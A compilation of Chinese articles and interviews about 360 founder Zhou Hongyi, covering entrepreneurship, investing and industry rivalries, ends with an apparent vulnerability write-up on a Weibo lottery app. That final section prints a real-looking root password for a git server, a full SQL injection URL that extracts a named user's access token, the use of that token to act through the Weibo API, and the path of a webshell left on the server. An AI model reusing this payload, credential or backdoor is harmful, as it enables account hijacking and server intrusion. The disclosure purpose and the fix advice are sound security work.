其次，开放平台将是未来十年互联网的主流发展方向，360将坚持走开放平台的道路。开放是360的DNA，从一开始走的就是合作与共享的道路，

因为没有形成自我封闭的平台体系，所以在中国互联网从封闭向开放转型的时候，360没有历史包袱，反而能进入快车道，能快速形成平台。例如，今天360的两大收入来源，网址导航和网页游戏，从一开始就是与众多伙伴合作与共享。我们坚持自己不做游戏，不与合作伙伴争利，这样才能广纳众贤;360网址导航也成为扶植、帮助互联网中小公司获取流量、进行创业的平台。今天，360开放平台上已经有超过15万款应用，来自大大小小的创业者;360的电商平台也成为电商企业重要的流量入口。在未来，我们还将挖掘360开放平台的潜力，创造更多的机会，向合作伙伴开放，向创业者开放。我相信，开放平台将不仅成就360，也将成就一个更健康的产业生态。

最后，作为360开放平台发展的源泉和基础，我们将持续聚焦于安全，追求极致。在平台策略上，360走开放和合作的道路。在安全上，360将会更专注，更聚焦。360的使命是要成为中国乃至全球最大的互联网安全公司，安全是360积累用户、构筑巨大用户基数的核心价值服务。所以，360要把安全保持领先做到极致，在此基础上，成为中国互联网具有影响力的平台公司。

然而，我多次强调，如果一个创业公司从一开始就着眼于建立一个平台，那么肯定建立不起平台。今天，我要说的是，一个平台公司，如果满脑子都是平台，一味地追逐商业利益，抛弃了用户至上，远离了用户价值，那么即使这个平台建立起来，那也是沙滩上的城堡，不堪一击。有人说，用户至上是幌子，是华而不实的口号，一个企业到底还是要追求商业利益的。但是，对一个平台公司而言，有了海量忠诚用户基础，就可以与时俱进，嫁接合适的商业模式。商业模式会不断变化，但是用户对公司和产品的认可才是持久的最大资产。没有用户价值，就没有商业价值，所有的商业价值都建立在企业所创造的用户价值之上。所谓“地在人失，人地皆失;地失人在，人地皆得。”人就是用户价值，地就是商业价值。这个道理对所有互联网公司都是适用的。

所以，坚持用户至上，追求一流的用户体验，建立持续、长期的用户价值，这是360走到今天的源动力，也是未来建立有影响力的互联网平台的基础。只要能够持久地为用户创造价值，360就一定能够成为中国互联网有影响力的平台公司。

篇10：周鸿：我曾是中国互联网最大失败者

奇虎周鸿t

“应该说我是中国互联网曾经最大的失败者，经历了那么多失败，最后又把一个很有前途的公司葬送掉了，因为做反流氓软件得罪了做流氓软件的人，做反木马得罪了那些做木马的人，推出免费的奇虎360安全卫士又得罪了那些卖杀毒软件的人，所以我在互联网上成为被人群殴、攻击最多的一个人。我在不断的自省我犯过的很多错误，并不断的改正。”

3721总裁、雅虎中国总裁、风险投资合伙人、天使投资人、奇虎董事长与大股东，经历了太多身份变换的周鸿，经常成为业内议论的焦点。

好汉不提当年勇。出生于湖北黄冈的周鸿，虽然高中获过全国物理竞赛奖，本科、研究生又是被保送的，但他在接受采访时并不愿意提及早期的这些事情。他认为老把过去的荣耀挂在嘴上，觉得没什么意思。高中阶段，他开始接触计算机玩游戏，这一玩就使他与计算机结下了不解之缘。

天生的创业者

“我一直骨子里是一个创业者，在不同的公司担任不同的角色，最后发现我都是用创业者的心态贯穿自己的整个职业生涯。”

周鸿说：“创业者从来都是一无所有，都是创造一个新世界，这就是我的自信。只要你不断的积累经验和教训，只要你有这种创业的心态，你在什么环境下不重要，你肯定能创造出一些新的东西。”在雅虎中国，他没有按照高级职业经理人的角色按部就班，而是把创业的文化带给了雅虎，成就了的雅虎中国，这也是他最引以自豪的事情之一。

周鸿上研究生期间还编过游戏软件、杀毒产品。为了卖自己的产品，他还开过两家小公司，招兵买马准备在全国“自建渠道”，最后以失败而告终。但是，这也是一笔财富，让他更加认清了自己的不足。

10月，周鸿创建了3721公司。谈及第一次创业，他认为当时最困难的是没有宣传推广、管理等方面的经验。

，周鸿亲自出任奇虎董事长，又一次开始了他的创业新历程。奇虎360改变了互联网，为消灭流氓软件而战斗。互联网的安全也是未来互联网成败的关键，是一个改变世界的机会，这让周鸿觉得非常激动。

奇虎360安全卫士在两年里成为中国最大的互联网软件之一，也成为中国最大的网络安全软件，现已有1.6亿人在使用。任何一个创业公司都有一个探索的过程，奇虎这几年来也在探索它的商业模式。“我觉得现在奇虎的商业模式逐渐聚焦到以安全为核心，提供基础的安全服务，并且是免费的。在巨大的用户基础之上可以推出新的更多的互联网增值服务。”周鸿说。

“我更适合帮助早期创业的企业，因为它们处在一个创业的早期，所以我这个投资人像一个创业者的教练、保姆或者是老师，去把自己的创业经验交给他们，更有点像一个创业者背后的创业者。”周鸿告诉记者。

周鸿对现在的创业者提了几条建议：第一，不要盲目的创业。创业不能狭义的等同于自己办公司，当老板，其实在你能力、资源不足的情况下加入创业公司学习创业也是创业，和别人一起合作去创业也是创业，不一定宁为鸡头不为凤尾。第二，创业不要太急功近利，不要把自己创业的目标设定的特别物质化，而是要找自己感兴趣、喜欢做的事情，这样你遇到各种困难才能克服。第三，创业理想可以很宏大，但是一定要从小处着手，从你身边熟悉的领域着手，

第四，要有平常心。因为谋事在人，成事在天。即使碰到失败也不要气馁，这是正常的结果，总结继续再谋划下一次创业。

互联网是“免费的午餐”

周鸿认为，管理互联网公司最重要的是要关注你的用户，关心你的产品，关注你公司的现金流。

周鸿对互联网有几个自己的基本观点。第一，互联网是一个普遍服务，你通过互联网可以给很多人提供服务，而不是给少数人提供服务，这是互联网的魅力。第二，互联网里面的普遍服务一般都是从免费开始的，很多商业模式甚至是基于免费才建立的。第三，互联网的一个哲学就是开放，它一定是在一个开放的平台来做事情，因为技术既要跟别的系统融合，也要考虑和别人的系统有接口。

周鸿一直不认为自己已经成功。“我认为成功都是偶然，倒是有很多失败的教训是值得大家去借鉴的。第一，一个人要有韧性，成功并不容易，在行业里不要期望短期内就成功，你要有一种坚韧不拔的韧性。我就属于屡败屡战。第二，要有一个强大的自我反省的能力。因为我们年轻，有时候很多东西都不懂，会犯很多的错误。犯错误不可怕，最重要的是要自省。第三，一个人不能太自负，要有一种开放的胸怀，不断的学习，从你的竞争对手身上学，从你的‘敌人’身上学，从你的投资人身上学，从业内的其他公司的身上学。我觉得创业者不缺激情，除了上面提到的几点外，还应有一个合作的心态。你与别人合作，既利用了别人的资源，也跟别人分享了你的成功。”

企业的团队建设非常重要。周鸿觉得，一个好的创业团队，首先最重要的是有一个共同认同的理念和文化，大家要心齐，要拧成一股绳。第二，创业公司不能完全用利益把大家绑在一块儿，团队的凝聚力非常重要。第三，团队还要有一定的纪律性，目标一致，执行力强。第四，对创业阶段的团队的责任心要求高。灵活的足球文化是周鸿想建立的团队文化。他比较欣赏这种文化，队员的相互补位非常重要。

周鸿认为互联网可以颠覆很多，它可以节省成本，可以让很多东西变成免费，帮助很多东西变得非常迅捷，所以他对互联网非常有相信，也希望在未来互联网上把安全这个工作做好。

韧性最可贵

现在互联网冬天来的时候，大家都讲不是最大的动物活着，也不是最强动物活着，是最能适应变化的动物活着。“我觉得我能够不断的去反思自己，调整自己，使自己能够朝着更好的方向调整，并把自己的想法和改变非常坦诚地说出来。”周鸿说。

“我们希望聚焦在奇虎360安全卫士，以这个为核心，首先做成全国最大的网络安全服务，能够保护每一个中国人的上网安全，成为互联网里面一支重要的力量。然后在这个平台之上，我们可能会把奇虎个性化的服务陆续推出来，让用户在奇虎和360平台上得到更多的安全可靠的服务。”周鸿有这样一个梦想。

周鸿为人处事的原则就是简单，直截了当，真实。“我特别看不惯一些生意人，明明就是商人，非要把自己说成道德的楷模，我觉得大可不必。”

周鸿有坚韧不拔的精神，生命不息，战斗不止。“遇到越大的困难，我越冷静，而且能想出来很多方法来应对。”

“我的生活品质很低，主要的精力花在工作上，所以基本上没有什么时间照顾家庭。我喜欢射击，爬山，听音乐，最大的爱好是看书。”周鸿坦率的告诉记者。

周鸿不满于现在的成绩，不断的学习新的经验、思路。他说：“我相信天道酬勤，最后总会有一个好的结果。”

篇11：周鸿t：我的投资心得 不熟不做

每个人都要知道自己该吃哪碗饭，都有自己的路径依赖，不熟不做，

有人问我能不能做成10亿美元甚至100亿美元的公司，我觉得那是天命，我从来不问自己，也从来不问公司。但是，我总是问，有没有更多的人用你的产品，你的产品是不是给用户创造了价值。

从到现在5年时间，回头反思我曾经投资的项目里，失败的有七、八个，还有近10个项目目前看起来做得都不错。当然现在还没上市，谈不上什么财务回报，但我自己觉得挺满意。

我总结了一下，失败的项目最核心的原因都是没有看准“人”，而做得不错的项目也有共同的特点：全是我熟悉的行业，这印证了巴菲特的话，不熟不做。表现最好的都是互联网项目，是我最熟悉的互联网客户端。每个人都要知道自己该吃哪碗饭，都有自己的路径依赖，比如我对互联网客户端、社区、搜索类的产品比较熟。

再进一步看，这些项目能做得不错有两方面原因：一个是我运气很好，我熟悉这个行业，所以碰上了这些创业者。另一方面，我也不谦虚，就是我不仅仅投了早期的钱，发掘了他们，最重要的是我在这些企业里耗费了心血。我帮他们规划产品战略，把他们最初的想法理清楚再定型，究竟这个产品做什么，给用户创造什么价值。在这个基础上，帮他们规划企业的战略。很多人会认为这么小的企业还需要什么战略，其实越小的企业、越初创的企业，越需要一个清晰的战略，

战略并不是几百页的PPT，就是要清晰地回答：我们是谁，我们在哪里，我们要将往何处去，做什么，不做什么。

当然，这些企业的融资过程中我也帮了忙。有些人有个误解，以为只要挂了周鸿t的名义就能融到钱，我说自己没那么牛。实际上，所有的VC都不会因为朋友关系而投资。我投资的很多企业为什么能顺利融资？你在跟VC谈之前，要给自己定下明确的商业计划，非常清晰的策略，你解决了什么问题，提供了什么产品，这个产品有什么价值，面对什么用户。把这些理清了，就很容易跟VC讲清楚。关键的是，有没有VC投资，你都应该这么做。

我也会帮这些企业建立最初始的利益分配机制，这非常重要。VC进入中国后，很多人老想着赚VC的钱，但是没有明白VC带来的是一种游戏规则，它决定了企业的创始人、天使投资人、风险投资人，还有高级管理层、职业经理人、普通员工，大家怎么分享公司的股份和期权。最后这个公司成功了，大家都能分享到，这种游戏规则一定要公开透明。很多企业做到后来做不下去，都是因为资本架构上出了问题。你有一个公开透明的资本架构，VC就会觉得你很上道，就愿意进来。为什么中关村成不了硅谷？其实中关村一直不缺钱，也不缺聪明的人，也不缺好点子，就是缺透明的游戏规则。所以，对于一个小企业从诞生第一天起，就要告诉他们接受西方这套公平透明的游戏规则。

最后才是给他们介绍一些VC，教他们怎么写PPT，怎么去说。我的角色比较特殊，跟很多VC是朋友，自己也做过投资人，又是创业者，所以我会成为他们中间很重要的沟通桥梁。

篇12：周鸿t：我觉得自己像巴顿将军，喜欢打仗

对话语录：

这个社会很现实，最后是以你挣了多少钱，你公司上没上市、公司做没做大为考量标准，如果你没有达到这几点，你很快就会被遗忘。

无数多的人都在说是跟我学做流氓软件的，最后我成了始作俑者，所有的责难都压到我身上，压力很大。

我觉得自己就是一个斗士，一个战士，有点像巴顿将军，喜欢打仗，闲不下来。

互联网：不创新，毋宁死

本报记者：2年前，你曾经说创业机会最多的是互联网，现在还这样认为吗？

周鸿t：对，我还是这么认为。中国目前经济高速发展，每个行业都有很大的机会。但我觉得跟传统行业相比，互联网对年轻人来说，门槛是最低的。如 果你没有足够的经验和资金、资源，你去造车、开餐馆难度都很大。互联网最大的优势是变化很快，很容易被颠覆，一旦出现一个新的技术或模式就很容易通过互联 网传播，颠覆市场上原有的领先者。所以我个人感觉在互联网不一定能挣到更多的钱，但对于有梦想的年轻人来说，互联网应该是一个好的创业机会。

本报记者：互联网创业现在还有哪些空白点？

周鸿t：互联网有一句话叫“不创新，毋宁死”，就是说互联网一定要创新，如果看到网游很热，搜索很热，Facebook、Mys-pace很热、视频热，就一窝蜂，其实，这都不能作为创业点，一定要去想怎么样去创造别人没有想过的模式，包括互联网产品、技术的创新，还有就是跟其他行业的正交结合，比如电子商务等，总之，发挥想象力，互联网创业的空白点还是很多的。

本报记者：从你的经历看，创建3721、把雅虎中国改造成一个创业型公司、做天使投资等，你似乎对创业情有独钟，为什么？

周鸿t：有句话叫性格决定命运，我比较有冲击力，有想象力，喜欢与众不同，去做别人没有做过的事情，也喜欢去尝试学习新鲜事物，所以，我早就想 做一个创业者，但我创业并不是浅尝辄止，在每件事上都做了一些事，比较有心得，也很享受把一个企业从小慢慢做大的过程。我不适合做职业经理人，在四平八稳 的舞台上做一个朝九晚五的工作，这主要还是性格问题。

本报记者：你曾经在自己的任期内给雅虎定了3个战略，后来不久便离开了，现在回头看雅虎，你如何评价它目前的状态？

周鸿t：在当时，很多人都看不清我的战略对雅虎的影响，但4年后回头再看，公正地评价，是雅虎中国发展最好的一年。在搜索、邮箱、即 时通讯方面都取得了巨大的成绩，但后来，由于各种原因，我们离开雅虎。新的接任者采取了一系列错误的策略，导致现在的雅虎中国或中国雅虎，已经在搜索门户 市场上的份额降到可以忽略不计了。现在雅虎中国的策略客观地讲基本上是对我20的一个模仿。但年正确的策略拿到来做，时间变了， 市场环境变了，竞争对手变了，很多产业变了，这种情况下就不一定能重复过去的成功了。

最得意的事：还自己一个清白

本报记者：作为一个互联网的老兵，你认为自己对中国的互联网有什么贡献？

周鸿t：我给互联网创新了很多模式，有一些模式在今天看非常有远见，还有很多模式被徒子徒孙们学会并且放大，也给我带来很多负面的争议性说法。 应该说我是第一个做互联网软件的，比如把互联网和软件结合起来，用软件占领桌面的方式推广互联网。今天你看GOOGLE、微软等国内外公司都非常重视互联 网软件，这个模式应该说是我创造出来的。

另外我在3721做了两件很重要的事，就是推动中国人上网，当时，百度远远没有做起来，GOOGLE还没有进入中国的时候，很多人通过3721 直接输入中文就可以访问网站，后来，我开创了以互联网为渠道的销售模式，把互联网的产品销售给中国数以千计的中小企业。这种模式被后来的百度、其他门户、 GOOGLE所模仿和借鉴，这个模式不客气地说也是我发明的。3721是中国第一个利用互联网帮助中小企业卖关键字，帮助他们做推广、做网络营销的网站。 后来3721卖给雅虎死掉了，百度起来了，今天这个衣钵被百度和阿里巴巴继承下来。

本报记者：经过了这么多年的发展，你最得意的事情是什么，有没有非常困难的阶段？

周鸿t：最得意的事是做360，还行业一个清白，也还我一个清白，因为无数多的人都在说是跟我学做流氓软件的，最后我成了始作俑者，所有的责难 都压到我身上，压力很大。我要是个真坏人，也就无所谓了。但我很难过那个心理关，我希望给大家一个交代，不能回避，所以我就做反流氓软件，很多人质疑，有 善意的，也有雅虎、马云对我的人身攻击。做流氓软件的很多都是利益集团，每年能收入几千万甚至上亿，他们甚至雇了很多枪手在互联网铺天盖地地骂我，我想除 了影视圈，在IT圈里铺天盖地地被骂过的人应该不多吧。最后我把这件事做成功了，证明了我的想法，也证明了我并不是做流氓软件的始作俑者，我是反流氓软件 的。在互联网，做一个挣钱的事不难，但你要是能做一个受人欢迎，大家都热爱的产品很难。

困难的阶段是加入雅虎以后，虽然我们有很清晰的策略，也很有实力，但沟通太困难，总部在万里之遥，对中国完全不了解，决策反应链特别漫长，每次 我的一个决策都要经过无比多的 时间沟通，玩无数多的政治和人际关系，这就让人感到无比沮丧。我并不怕来自市场的压力，愿赌服输嘛，抵御外敌我没问题，最难受的是内部的不团结，倾轧，掣 肘，我就象面对一个昏庸的朝廷，就像一个在外面领军打仗的节度使，你有很多的建议，也被证明是对的，但他们不了解，只会派一个个太监和锦衣卫来监督你，所 以你打了败仗也不行，打了胜仗也不行，这种感觉非常糟糕，最后我说算了，不跟你们玩了。

本报记者：你做反流氓软件，断了很多公司的财路，会不会遭到别人的嫉恨？

工作：不想成为神话人物

本报记者：很多人说互联网是一个吃青春饭的行业，压力很大，你如何看，你减压的方式是什么？

周鸿t：我自己压力倒没那么大，我不想像有的人总想构建一个商业帝国，成为神话人物。我曾经是一个普通的工程师，喜欢互联网，知道自己的优势和 局限性。我做天使投资，通过这个投资，发掘一些年轻和新一代的创业者，给他们提供资金，把我的经验传授给他们，帮助他们成长，在这个过程中，我既是投资人 也是创业者，我实际上有点像他们的朋友、教练和老师。我如果能够不断挖掘这样的年轻人，跟他们一起合作，我就能够一直把握这个行业的脉搏。

工作本身给我带来很大乐趣，我喜欢竞争，把对手斩于马下或给他们很大重创，给我带来很大乐趣。我有很多爱好，最喜欢听音乐，我家里，办公室都放 了很多很好的HIFA的器材，工作的时候在听，很累的时候也在听，通过这个来放松自己，另外我打网球，每周打4次，通过这样一种运动，让自己出一身汗保持 体力，做企业还是需要体力的。

本报记者：有人说越成功的企业家，内心越感到孤独，你怎么看？

周鸿t：我觉得有可能吧，

成功的人对自己定位比较高，觉得众人皆醉我独醒，能跟他交流的人比较少。很多时候，他克己复礼，压抑和控制自己的情绪 和感情，不能跟员工倾诉，所以比较孤独。不过，我倒没这种感觉，本身我的梦想无论是投资还是自己创业，就是希望象苹果公司那样能创造出很酷的产品，让很多 人去用。但任何一个产品一个公司都有一个兴衰的过程，这个要泰然处之。我现在做奇虎，我不觉得自己高高在上，我跟我的团队在一起讨论怎么样做一个好的产 品，讨论得很细，我觉得非常有意思，所以没有什么孤独的感觉。

本报记者：你对现在的生活状态满意吗？

周鸿t：理智上讲，我应该满意，跟很多公司比，我们做得不错，但从个人情感上讲，我不满意，因为我是个永远不知足的人，我总是很挑剔，总有危机感，总觉得自己应该跑得更快，做得更好。

本报记者：IT界的成功人士一般都很年轻，受过良好的教育，都很懂得享受生活，比如张朝阳买游艇，你的生活态度是什么。

周鸿t：我的生活质量一般，也没有特别多的爱好，但可以肯定的是我不喜欢在家里歇着，每天无所事事，去打高尔夫或开个游艇，我觉得自己就是一个斗士，一个战士，有点像巴顿将军，喜欢打仗，闲不下来。

张朝阳、李彦宏他们已经把企业做到了一个高度，应该很成功了，他们有资格去享受，我也希望他们去享受，能够彻底放松，但我认为自己做得并不成功，把一个很好的公司给卖掉了，最后被葬送，又从0起步，做奇虎，360，我还需要更努力才对。

关于个性：急躁葬送了3721

本报记者：你第一次参加工作选择了方正而不是跨国公司，你说更看重机会和平台，而不是待遇，那时候为什么会有这样的想法？

周鸿t：我有一个特别简单的人生哲学，当你面临选择的时候，你的价值观应该变得特别简单，越简单，越容易做出判断。读研究生的时候，我的梦想就 是做自己的企业，做软件。为了实现这样的目标，我就要找到一个公司去学习，那就要考虑找什么样的工作对实现梦想有帮助，去跨国公司或者国企，要么特别稳 定，要么收入高，但它并不能让我朝着目标迈进，所以这对我不重要。我不能说自己不爱钱，但有时候你为了每个月多挣1000块钱，一年多1万，十年多10 万，现在CPI这么高，10万块钱算什么，它对你人生没有任何价值，但你为了这10万或者20万做出了人生的一个不正确的选择，没有去追求你人生的梦想。 所以我的观点是，每个人都要有梦想，知道自己要什么，这样你才能追随自己的内心，不为外界很多诱惑迷惑。我在方正发展得很好，很多人不理解，你为什么要离 开？因为在我眼里，位置、收入、Title、管多少人，都不是我要的，我要的是创造自己的企业，做出来一个与众不同的产品。如果我意识到，我继续留在这， 对我的想法没有任何帮助，我会毫不犹豫地放弃这个地方。

本报记者：你说自己的缺点是急躁、作风凌厉，讲真话，优点是自我反省和学习的能力比较强，是否这样的优缺点让你成为业界比较受争议的人物？

周鸿t：应该是，还是性格使然。我不能抱怨别人对我有误解，一定跟我的性格有关系。但江山易改，本性难移，比如我有时候急躁，说话往往会得罪 人，我有时候会打击竞争对手。但我的敌人并不多，因为我比较真诚，对人也比较好，很多投资商当年投我，现在还要投我，很多员工当年跟着我干，现在还要追随 我。包括我扶植了很多代理商让他们发展起来，所以我朋友还是蛮多的。但你有一两个敌人，类似马云这样的，弄很多黑材料在网上攻击我，就显得我比较有争议， 在所难免。你只要做事情，做创新，做别人做不了的事情，总会有不同的看法，你不可能压抑别人的观点，我就保持一个心态，路遥知马力，日久见人心。

本报记者：这些优缺点带给你怎样的经验和教训？

周鸿t：有时候会得罪一些人，给自己的工作带来不必要的阻碍，另外作风凌厉，决策快，执行能力强，但有时候可能是一个错误的决策，很快就执行 了，没有挽救的余地。比如当年跟百度、GOOGLE竞争，就一门心思想拿到搜索技术，当时有两种选择，第一是我再融一笔资金，坚持一两年，自己做技术，跟 百度争，我不是第一，也是第二。但当时我比较急躁，希望快速见效，跟雅虎中国合并，换取他的搜索技术，当时没有从商业利益上考虑，而是急于拿到武器，打败 百度，觉得这个在心理上比较重要，就忽视了跟雅虎的很多条款，把3721给葬送掉了。这就是一个很典型的例子，如果自己当时不那么急躁，不那么情绪化，今 天搜索的天下一定是我们和百度平分。但后悔没有用，所以我现在做事情就希望自己更加缓和一些。

本报记者：有没有考虑过如何调整自己的性格？

周鸿t：想过，首先得加强个人修养。我做了很多反思，我给内部的创业者、团队开会时经常讲我曾经错在哪，我失败的案例，人不怕犯错误，怕的是多 次犯同样的错误。我的合作伙伴齐向东，我的副总刘峻性格都比较温和，他们能对我起到一个缓冲的作用，起到一个侧面补充的作用。

给马云的两个忠告

本报记者：马云已经登录香港资本市场，对马云有什么祝福吗？

周鸿t：我觉得阿里巴巴B2B的业务做得很好，淘宝也做得非常不错，阿里巴巴能上市，是情理之中。但我给马云两个忠告。第一更加务实，把创业说 得很神话，很传奇，故事听起来很好听，但实际上他会误导年轻人。比如马云从来只说自己风光的东西，如何过五关斩六将，从来不提自己如何走麦城。我很了解阿 里巴巴，早期也是什么也不懂，浪费了很多钱，遭受了很多失败，最后才找到方向和模式，并不像他吹得那样，我觉得应该跟年轻人多讲这些东西，而不是去吹嘘。

第二个，马云认为自己比较成功，即使这样，也要保持谦虚的心态，人在成功的时候，过于张狂，觉得自己无所不能的时候，可能就是你开始自我毁灭的 时候。比如马云用一种很谦虚很坚韧不拔的心态做阿里巴巴，阿里巴巴做得很成功，当后来接收雅虎中国的时候，他已经不可一世，用这种很狂妄焦燥的心态做雅虎，同样是这个人，一个传奇人物，为什么雅虎中国和阿里巴巴有两种不同的结果，并不是马云的智力退步了，而是他的心态出现了问题。导致他在雅虎上遭受重大 的失败。

本报记者：有没有特别欣赏的企业家？

周鸿t：国外是斯蒂文•乔布斯，他非常有创造力，非常有革命斗争精神。国内有史玉柱，我们并不认识，但他几起几落，有他的过人之处。另外还有任 正非，我不了解他，华为也很神秘，但一个民营企业家，他每年投入很大精力进行研发，不是在国内竞争，是把产品拿到国外去跟国际巨头竞争，这才是真正牛的企业家。

本报记者：对未来的生活有什么期望？

周鸿t：期望在中国互联网里，能培养几个后起之秀，培养几家QQ、几个百度，创造出几个很酷的产品。像用360来证明我是一个有责任感的好人一样，我希望支持一些公司创业，最后对中国互联网有很大贡献。

篇13：我是如何让周鸿t/等关注我微博的（含修复）

其实不止是关注，获得微博用户的授权source和access_token就能干很多事

相关api文档：open.weibo.com/wiki/%E5%BE%AE%E5%8D%9AAPI

如果 微博用户授权了某应用 而某应用被 攻击的话，获取到access_token危害将是很大的。

下面就来说个 微博上很多人用的 一款应用 ： 转发抽奖平台。

影响很多用户：

挑几个有名的

王思聪

周鸿t

百度卫士

回忆专用小马甲

等等.....

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judge.drip.im/.git/config 可以使用 rip-git.pl进行下载源码。不过由于下载速度太慢

就把git服务器搞了：git.jilen.org

root密码为弱口令：zhengjiao

打包了分抽奖平台的源码回来看看，里面有好几发注入（包括thinkphp框架出的注入），还有 源码一些权限判断不严谨 只是做了 header转跳后没有exit;

注入：

judge.drip.im/honor/?t=12_04 where 0 UNION(SELECT * FROM ((SELECT 24894)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT token from token where account_id=1708942053 limit 1)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)AA JOIN (SELECT 14)AB JOIN (SELECT 15)AC JOIN (SELECT 16)AD JOIN (SELECT 17)AE JOIN (SELECT 18)AF JOIN (SELECT 19)A1 JOIN (SELECT 20)A2 JOIN (SELECT 21)A3 JOIN (SELECT 22)A4 JOIN (SELECT 23)A5 JOIN (SELECT 24)A6 JOIN (SELECT 25)A7 JOIN (SELECT 26)A8 JOIN (SELECT 27)A9))%23

查询周鸿t得到token，

使用weibo的关注api即可

open.weibo.com/wiki/2/friendships/create

测试完已经 取关注了。

同服shell

jilen.org/wp-includes/css/media-foo.php

修复方案：

打包回来的源码已经删除。

删除git目录,密码应该更换更安全的密码。

token不知道是不是必须要存储的?

对应微博用户来说,授权应用需谨慎。